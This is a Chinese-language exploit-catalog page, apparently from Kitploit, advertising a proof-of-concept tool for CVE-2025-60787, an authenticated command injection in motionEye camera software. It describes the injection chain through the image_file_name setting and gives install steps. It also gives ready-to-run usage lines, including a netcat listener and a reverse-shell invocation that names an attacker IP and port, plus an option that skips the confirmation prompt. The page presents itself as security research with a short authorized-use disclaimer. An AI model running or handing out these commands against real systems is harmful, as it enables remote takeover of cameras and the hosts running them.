Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-60787 — CVE-2025-60787 motionEye 认证命令注入 RCE PoC | Kitploit
工具/GitHubGitHub/ozcanpng/cve-2025-60787
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHubozcanpng/cve-2025-60787

CVE-2025-60787

CVE-2025-60787 motionEye 认证命令注入 RCE PoC

查看仓库
22个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-60787 — motionEye 已认证 RCE

针对 CVE-2025-60787 的已认证命令注入 PoC。motionEye v0.43.1b4 及更早版本会将用户可控的摄像头配置值(如 image_file_name)写入 Motion 配置,但未进行充分的清理,从而在该值被处理时可执行命令。

仅供授权测试与研究使用。请勿对您不拥有或未经明确许可测试的系统使用。


功能

root@kitploit:~
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
  1. 验证目标并检测 motionEye。
  2. 使用配置的用户名和密码哈希生成带签名的 motionEye API 请求。
  3. 通过 /config/list/ 读取摄像头配置。
  4. 将命令注入摄像头的 image_file_name 设置中。
  5. 在需要时启用静态图像/手动快照。
  6. 触发 /action/<camera_id>/snapshot/,使 motionEye 处理被注入的文件名。
  7. 可选地恢复原始摄像头配置。

截图

反向 Shell 设置

反向 Shell 设置

配置注入与触发

配置注入与触发

已收到 Shell

已收到 Shell


安装

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt

使用方法

安全命令验证

root@kitploit:~
python3 CVE-2025-60787.py \
  --target http://127.0.0.1:8765 \
  --user admin \
  --password-hash HASH \
  --cmd 'id > /tmp/motioneye_rce'

反向 Shell

首先启动一个监听器:

root@kitploit:~
rlwrap nc -lvnp 4444

然后运行:

root@kitploit:~
python3 CVE-2025-60787.py \
  --target http://127.0.0.1:8765 \
  --port 8765 \
  --user admin \
  --password-hash HASH \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

常用选项:

root@kitploit:~
--camera-id N      Camera ID to modify (default: 1)
--restore          Restore the original camera configuration after triggering
--dry-run          Build signed requests without modifying the target
--debug            Print canonical signed paths, bodies and signatures
--no-trigger       Update config without triggering a snapshot
--verify-tls       Verify HTTPS certificates
--yes              Skip reverse-shell confirmation prompt

受影响版本

产品受影响版本所需访问权限影响
motionEye<= 0.43.1b4已认证的管理员/API 访问以 motionEye/Motion 进程用户身份执行操作系统命令

最终获得的权限取决于 motionEye 的部署方式。在以 root 身份运行服务的容器或实验镜像中,命令执行可能直接获得 root 权限。


注意事项

  • PoC 需要 motionEye 存储的密码值/哈希,因为该值被用作旧版 API 请求的签名密钥。
  • 被注入的字段是 image_file_name。
  • 测试时请使用 --restore,以便在利用后恢复原始摄像头配置。
  • 在尝试反向 Shell 之前,建议优先使用 --cmd 进行安全验证。

参考链接

  • NVD — CVE-2025-60787
  • GitHub 安全公告 — GHSA-j945-qm58-4gjx
  • motionEye 项目

作者

ozcanpng — github.com/ozcanpng — ozcanpng.dev

下载工具